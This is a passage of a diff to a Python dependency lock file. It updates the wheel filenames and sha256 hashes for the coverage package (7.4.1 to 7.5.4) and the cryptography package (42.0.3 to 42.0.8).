"sha256:d17bbc946f52ca67adf72a5ee783cd7cd3477f8f8796f59b4974a9b59cacc9ee"}, - {file = "coverage-7.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a3277f5fa7483c927fe3a7b017b39351610265308f5267ac6d4c2b64cc1d8d25"}, - {file = "coverage-7.4.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dceb61d40cbfcf45f51e59933c784a50846dc03211054bd76b421a713dcdf19"}, - {file = "coverage-7.4.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6008adeca04a445ea6ef31b2cbaf1d01d02986047606f7da266629afee982630"}, - {file = "coverage-7.4.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:c61f66d93d712f6e03369b6a7769233bfda880b12f417eefdd4f16d1deb2fc4c"}, - {file = "coverage-7.4.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b9bb62fac84d5f2ff523304e59e5c439955fb3b7f44e3d7b2085184db74d733b"}, - {file = "coverage-7.4.1-cp310-cp310-win32.whl", hash = "sha256:f86f368e1c7ce897bf2457b9eb61169a44e2ef797099fb5728482b8d69f3f016"}, - {file = "coverage-7.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:869b5046d41abfea3e381dd143407b0d29b8282a904a19cb908fa24d090cc018"}, - {file = "coverage-7.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b8ffb498a83d7e0305968289441914154fb0ef5d8b3157df02a90c6695978295"}, - {file = "coverage-7.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3cacfaefe6089d477264001f90f55b7881ba615953414999c46cc9713ff93c8c"}, - {file = "coverage-7.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d6850e6e36e332d5511a48a251790ddc545e16e8beaf046c03985c69ccb2676"}, - {file = "coverage-7.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:18e961aa13b6d47f758cc5879383d27b5b3f3dcd9ce8cdbfdc2571fe86feb4dd"}, - {file = "coverage-7.4.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dfd1e1b9f0898817babf840b77ce9fe655ecbe8b1b327983df485b30df8cc011"}, - {file = "coverage-7.4.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b00e21f86598b6330f0019b40fb397e705135040dbedc2ca9a93c7441178e74"}, - {file = "coverage-7.4.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:536d609c6963c50055bab766d9951b6c394759190d03311f3e9fcf194ca909e1"}, - {file = "coverage-7.4.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ac8f8eb153724f84885a1374999b7e45734bf93a87d8df1e7ce2146860edef6"}, - {file = "coverage-7.4.1-cp311-cp311-win32.whl", hash = "sha256:f3771b23bb3675a06f5d885c3630b1d01ea6cac9e84a01aaf5508706dba546c5"}, - {file = "coverage-7.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:9d2f9d4cc2a53b38cabc2d6d80f7f9b7e3da26b2f53d48f05876fef7956b6968"}, - {file = "coverage-7.4.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f68ef3660677e6624c8cace943e4765545f8191313a07288a53d3da188bd8581"}, - {file = "coverage-7.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:23b27b8a698e749b61809fb637eb98ebf0e505710ec46a8aa6f1be7dc0dc43a6"}, - {file = "coverage-7.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e3424c554391dc9ef4a92ad28665756566a28fecf47308f91841f6c49288e66"}, - {file = "coverage-7.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0860a348bf7004c812c8368d1fc7f77fe8e4c095d661a579196a9533778e156"}, - {file = "coverage-7.4.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe558371c1bdf3b8fa03e097c523fb9645b8730399c14fe7721ee9c9e2a545d3"}, - {file = "coverage-7.4.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:3468cc8720402af37b6c6e7e2a9cdb9f6c16c728638a2ebc768ba1ef6f26c3a1"}, - {file = "coverage-7.4.1-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:02f2edb575d62172aa28fe00efe821ae31f25dc3d589055b3fb64d51e52e4ab1"}, - {file = "coverage-7.4.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:ca6e61dc52f601d1d224526360cdeab0d0712ec104a2ce6cc5ccef6ed9a233bc"}, - {file = "coverage-7.4.1-cp312-cp312-win32.whl", hash = "sha256:ca7b26a5e456a843b9b6683eada193fc1f65c761b3a473941efe5a291f604c74"}, - {file = "coverage-7.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:85ccc5fa54c2ed64bd91ed3b4a627b9cce04646a659512a051fa82a92c04a448"}, - {file = "coverage-7.4.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8bdb0285a0202888d19ec6b6d23d5990410decb932b709f2b0dfe216d031d218"}, - {file = "coverage-7.4.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:918440dea04521f499721c039863ef95433314b1db00ff826a02580c1f503e45"}, - {file = "coverage-7.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:379d4c7abad5afbe9d88cc31ea8ca262296480a86af945b08214eb1a556a3e4d"}, - {file = "coverage-7.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b094116f0b6155e36a304ff912f89bbb5067157aff5f94060ff20bbabdc8da06"}, - {file = "coverage-7.4.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2f5968608b1fe2a1d00d01ad1017ee27efd99b3437e08b83ded9b7af3f6f766"}, - {file = "coverage-7.4.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:10e88e7f41e6197ea0429ae18f21ff521d4f4490aa33048f6c6f94c6045a6a75"}, - {file = "coverage-7.4.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a4a3907011d39dbc3e37bdc5df0a8c93853c369039b59efa33a7b6669de04c60"}, - {file = "coverage-7.4.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6d224f0c4c9c98290a6990259073f496fcec1b5cc613eecbd22786d398ded3ad"}, - {file = "coverage-7.4.1-cp38-cp38-win32.whl", hash = "sha256:23f5881362dcb0e1a92b84b3c2809bdc90db892332daab81ad8f642d8ed55042"}, - {file = "coverage-7.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:a07f61fc452c43cd5328b392e52555f7d1952400a1ad09086c4a8addccbd138d"}, - {file = "coverage-7.4.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8e738a492b6221f8dcf281b67129510835461132b03024830ac0e554311a5c54"}, - {file = "coverage-7.4.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:46342fed0fff72efcda77040b14728049200cbba1279e0bf1188f1f2078c1d70"}, - {file = "coverage-7.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9641e21670c68c7e57d2053ddf6c443e4f0a6e18e547e86af3fad0795414a628"}, - {file = "coverage-7.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aeb2c2688ed93b027eb0d26aa188ada34acb22dceea256d76390eea135083950"}, - {file = "coverage-7.4.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d12c923757de24e4e2110cf8832d83a886a4cf215c6e61ed506006872b43a6d1"}, - {file = "coverage-7.4.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0491275c3b9971cdbd28a4595c2cb5838f08036bca31765bad5e17edf900b2c7"}, - {file = "coverage-7.4.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:8dfc5e195bbef80aabd81596ef52a1277ee7143fe419efc3c4d8ba2754671756"}, - {file = "coverage-7.4.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1a78b656a4d12b0490ca72651fe4d9f5e07e3c6461063a9b6265ee45eb2bdd35"}, - {file = "coverage-7.4.1-cp39-cp39-win32.whl", hash = "sha256:f90515974b39f4dea2f27c0959688621b46d96d5a626cf9c53dbc653a895c05c"}, - {file = "coverage-7.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:64e723ca82a84053dd7bfcc986bdb34af8d9da83c521c19d6b472bc6880e191a"}, - {file = "coverage-7.4.1-pp38.pp39.pp310-none-any.whl", hash = "sha256:32a8d985462e37cfdab611a6f95b09d7c091d07668fdc26e47a725ee575fe166"}, - {file = "coverage-7.4.1.tar.gz", hash = "sha256:1ed4b95480952b1a26d863e546fa5094564aa0065e1e5f0d4d0041f293251d04"}, + {file = "coverage-7.5.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6cfb5a4f556bb51aba274588200a46e4dd6b505fb1a5f8c5ae408222eb416f99"}, + {file = "coverage-7.5.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2174e7c23e0a454ffe12267a10732c273243b4f2d50d07544a91198f05c48f47"}, + {file = "coverage-7.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2214ee920787d85db1b6a0bd9da5f8503ccc8fcd5814d90796c2f2493a2f4d2e"}, + {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1137f46adb28e3813dec8c01fefadcb8c614f33576f672962e323b5128d9a68d"}, + {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b385d49609f8e9efc885790a5a0e89f2e3ae042cdf12958b6034cc442de428d3"}, + {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b4a474f799456e0eb46d78ab07303286a84a3140e9700b9e154cfebc8f527016"}, + {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5cd64adedf3be66f8ccee418473c2916492d53cbafbfcff851cbec5a8454b136"}, + {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e564c2cf45d2f44a9da56f4e3a26b2236504a496eb4cb0ca7221cd4cc7a9aca9"}, + {file = "coverage-7.5.4-cp310-cp310-win32.whl", hash = "sha256:7076b4b3a5f6d2b5d7f1185fde25b1e54eb66e647a1dfef0e2c2bfaf9b4c88c8"}, + {file = "coverage-7.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:018a12985185038a5b2bcafab04ab833a9a0f2c59995b3cec07e10074c78635f"}, + {file = "coverage-7.5.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:db14f552ac38f10758ad14dd7b983dbab424e731588d300c7db25b6f89e335b5"}, + {file = "coverage-7.5.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3257fdd8e574805f27bb5342b77bc65578e98cbc004a92232106344053f319ba"}, + {file = "coverage-7.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a6612c99081d8d6134005b1354191e103ec9705d7ba2754e848211ac8cacc6b"}, + {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d45d3cbd94159c468b9b8c5a556e3f6b81a8d1af2a92b77320e887c3e7a5d080"}, + {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed550e7442f278af76d9d65af48069f1fb84c9f745ae249c1a183c1e9d1b025c"}, + {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7a892be37ca35eb5019ec85402c3371b0f7cda5ab5056023a7f13da0961e60da"}, + {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8192794d120167e2a64721d88dbd688584675e86e15d0569599257566dec9bf0"}, + {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:820bc841faa502e727a48311948e0461132a9c8baa42f6b2b84a29ced24cc078"}, + {file = "coverage-7.5.4-cp311-cp311-win32.whl", hash = "sha256:6aae5cce399a0f065da65c7bb1e8abd5c7a3043da9dceb429ebe1b289bc07806"}, + {file = "coverage-7.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:d2e344d6adc8ef81c5a233d3a57b3c7d5181f40e79e05e1c143da143ccb6377d"}, + {file = "coverage-7.5.4-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:54317c2b806354cbb2dc7ac27e2b93f97096912cc16b18289c5d4e44fc663233"}, + {file = "coverage-7.5.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:042183de01f8b6d531e10c197f7f0315a61e8d805ab29c5f7b51a01d62782747"}, + {file = "coverage-7.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6bb74ed465d5fb204b2ec41d79bcd28afccf817de721e8a807d5141c3426638"}, + {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3d45ff86efb129c599a3b287ae2e44c1e281ae0f9a9bad0edc202179bcc3a2e"}, + {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5013ed890dc917cef2c9f765c4c6a8ae9df983cd60dbb635df8ed9f4ebc9f555"}, + {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1014fbf665fef86cdfd6cb5b7371496ce35e4d2a00cda501cf9f5b9e6fced69f"}, + {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:3684bc2ff328f935981847082ba4fdc950d58906a40eafa93510d1b54c08a66c"}, + {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:581ea96f92bf71a5ec0974001f900db495488434a6928a2ca7f01eee20c23805"}, + {file = "coverage-7.5.4-cp312-cp312-win32.whl", hash = "sha256:73ca8fbc5bc622e54627314c1a6f1dfdd8db69788f3443e752c215f29fa87a0b"}, + {file = "coverage-7.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:cef4649ec906ea7ea5e9e796e68b987f83fa9a718514fe147f538cfeda76d7a7"}, + {file = "coverage-7.5.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdd31315fc20868c194130de9ee6bfd99755cc9565edff98ecc12585b90be882"}, + {file = "coverage-7.5.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:02ff6e898197cc1e9fa375581382b72498eb2e6d5fc0b53f03e496cfee3fac6d"}, + {file = "coverage-7.5.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d05c16cf4b4c2fc880cb12ba4c9b526e9e5d5bb1d81313d4d732a5b9fe2b9d53"}, + {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5986ee7ea0795a4095ac4d113cbb3448601efca7f158ec7f7087a6c705304e4"}, + {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5df54843b88901fdc2f598ac06737f03d71168fd1175728054c8f5a2739ac3e4"}, + {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:ab73b35e8d109bffbda9a3e91c64e29fe26e03e49addf5b43d85fc426dde11f9"}, + {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:aea072a941b033813f5e4814541fc265a5c12ed9720daef11ca516aeacd3bd7f"}, + {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:16852febd96acd953b0d55fc842ce2dac1710f26729b31c80b940b9afcd9896f"}, + {file = "coverage-7.5.4-cp38-cp38-win32.whl", hash = "sha256:8f894208794b164e6bd4bba61fc98bf6b06be4d390cf2daacfa6eca0a6d2bb4f"}, + {file = "coverage-7.5.4-cp38-cp38-win_amd64.whl", hash = "sha256:e2afe743289273209c992075a5a4913e8d007d569a406ffed0bd080ea02b0633"}, + {file = "coverage-7.5.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b95c3a8cb0463ba9f77383d0fa8c9194cf91f64445a63fc26fb2327e1e1eb088"}, + {file = "coverage-7.5.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d7564cc09dd91b5a6001754a5b3c6ecc4aba6323baf33a12bd751036c998be4"}, + {file = "coverage-7.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44da56a2589b684813f86d07597fdf8a9c6ce77f58976727329272f5a01f99f7"}, + {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e16f3d6b491c48c5ae726308e6ab1e18ee830b4cdd6913f2d7f77354b33f91c8"}, + {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbc5958cb471e5a5af41b0ddaea96a37e74ed289535e8deca404811f6cb0bc3d"}, + {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a04e990a2a41740b02d6182b498ee9796cf60eefe40cf859b016650147908029"}, + {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:ddbd2f9713a79e8e7242d7c51f1929611e991d855f414ca9996c20e44a895f7c"}, + {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1ccf5e728ccf83acd313c89f07c22d70d6c375a9c6f339233dcf792094bcbf7"}, + {file = "coverage-7.5.4-cp39-cp39-win32.whl", hash = "sha256:56b4eafa21c6c175b3ede004ca12c653a88b6f922494b023aeb1e836df953ace"}, + {file = "coverage-7.5.4-cp39-cp39-win_amd64.whl", hash = "sha256:65e528e2e921ba8fd67d9055e6b9f9e34b21ebd6768ae1c1723f4ea6ace1234d"}, + {file = "coverage-7.5.4-pp38.pp39.pp310-none-any.whl", hash = "sha256:79b356f3dd5b26f3ad23b35c75dbdaf1f9e2450b6bcefc6d0825ea0aa3f86ca5"}, + {file = "coverage-7.5.4.tar.gz", hash = "sha256:a44963520b069e12789d0faea4e9fdb1e410cdc4aab89d94f7f55cbb7fef0353"}, ] [package.dependencies] @@ -625,43 +625,43 @@ toml = ["tomli"] [[package]] name = "cryptography" -version = "42.0.3" +version = "42.0.8" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" files = [ - {file = "cryptography-42.0.3-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:de5086cd475d67113ccb6f9fae6d8fe3ac54a4f9238fd08bfdb07b03d791ff0a"}, - {file = "cryptography-42.0.3-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:935cca25d35dda9e7bd46a24831dfd255307c55a07ff38fd1a92119cffc34857"}, - {file = "cryptography-42.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20100c22b298c9eaebe4f0b9032ea97186ac2555f426c3e70670f2517989543b"}, - {file = "cryptography-42.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2eb6368d5327d6455f20327fb6159b97538820355ec00f8cc9464d617caecead"}, - {file = "cryptography-42.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:39d5c93e95bcbc4c06313fc6a500cee414ee39b616b55320c1904760ad686938"}, - {file = "cryptography-42.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3d96ea47ce6d0055d5b97e761d37b4e84195485cb5a38401be341fabf23bc32a"}, - {file = "cryptography-42.0.3-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d1998e545081da0ab276bcb4b33cce85f775adb86a516e8f55b3dac87f469548"}, - {file = "cryptography-42.0.3-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:93fbee08c48e63d5d1b39ab56fd3fdd02e6c2431c3da0f4edaf54954744c718f"}, - {file = "cryptography-42.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:90147dad8c22d64b2ff7331f8d4cddfdc3ee93e4879796f837bdbb2a0b141e0c"}, - {file = "cryptography-42.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:4dcab7c25e48fc09a73c3e463d09ac902a932a0f8d0c568238b3696d06bf377b"}, - {file = "cryptography-42.0.3-cp37-abi3-win32.whl", hash = "sha256:1e935c2900fb53d31f491c0de04f41110351377be19d83d908c1fd502ae8daa5"}, - {file = "cryptography-42.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:762f3771ae40e111d78d77cbe9c1035e886ac04a234d3ee0856bf4ecb3749d54"}, - {file = "cryptography-42.0.3-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3ec384058b642f7fb7e7bff9664030011ed1af8f852540c76a1317a9dd0d20"}, - {file = "cryptography-42.0.3-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35772a6cffd1f59b85cb670f12faba05513446f80352fe811689b4e439b5d89e"}, - {file = "cryptography-42.0.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:04859aa7f12c2b5f7e22d25198ddd537391f1695df7057c8700f71f26f47a129"}, - {file = "cryptography-42.0.3-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:c3d1f5a1d403a8e640fa0887e9f7087331abb3f33b0f2207d2cc7f213e4a864c"}, - {file = "cryptography-42.0.3-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:df34312149b495d9d03492ce97471234fd9037aa5ba217c2a6ea890e9166f151"}, - {file = "cryptography-42.0.3-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:de4ae486041878dc46e571a4c70ba337ed5233a1344c14a0790c4c4be4bbb8b4"}, - {file = "cryptography-42.0.3-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:0fab2a5c479b360e5e0ea9f654bcebb535e3aa1e493a715b13244f4e07ea8eec"}, - {file = "cryptography-42.0.3-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:25b09b73db78facdfd7dd0fa77a3f19e94896197c86e9f6dc16bce7b37a96504"}, - {file = "cryptography-42.0.3-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d5cf11bc7f0b71fb71af26af396c83dfd3f6eed56d4b6ef95d57867bf1e4ba65"}, - {file = "cryptography-42.0.3-cp39-abi3-win32.whl", hash = "sha256:0fea01527d4fb22ffe38cd98951c9044400f6eff4788cf52ae116e27d30a1ba3"}, - {file = "cryptography-42.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:2619487f37da18d6826e27854a7f9d4d013c51eafb066c80d09c63cf24505306"}, - {file = "cryptography-42.0.3-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ead69ba488f806fe1b1b4050febafdbf206b81fa476126f3e16110c818bac396"}, - {file = "cryptography-42.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:20180da1b508f4aefc101cebc14c57043a02b355d1a652b6e8e537967f1e1b46"}, - {file = "cryptography-42.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:5fbf0f3f0fac7c089308bd771d2c6c7b7d53ae909dce1db52d8e921f6c19bb3a"}, - {file = "cryptography-42.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c23f03cfd7d9826cdcbad7850de67e18b4654179e01fe9bc623d37c2638eb4ef"}, - {file = "cryptography-42.0.3-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:db0480ffbfb1193ac4e1e88239f31314fe4c6cdcf9c0b8712b55414afbf80db4"}, - {file = "cryptography-42.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:6c25e1e9c2ce682d01fc5e2dde6598f7313027343bd14f4049b82ad0402e52cd"}, - {file = "cryptography-42.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9541c69c62d7446539f2c1c06d7046aef822940d248fa4b8962ff0302862cc1f"}, - {file = "cryptography-42.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1b797099d221df7cce5ff2a1d272761d1554ddf9a987d3e11f6459b38cd300fd"}, - {file = "cryptography-42.0.3.tar.gz", hash = "sha256:069d2ce9be5526a44093a0991c450fe9906cdf069e0e7cd67d9dee49a62b9ebe"}, + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7"}, + {file = "cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2"}, + {file = "cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba"}, + {file = "cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1"}, + {file = 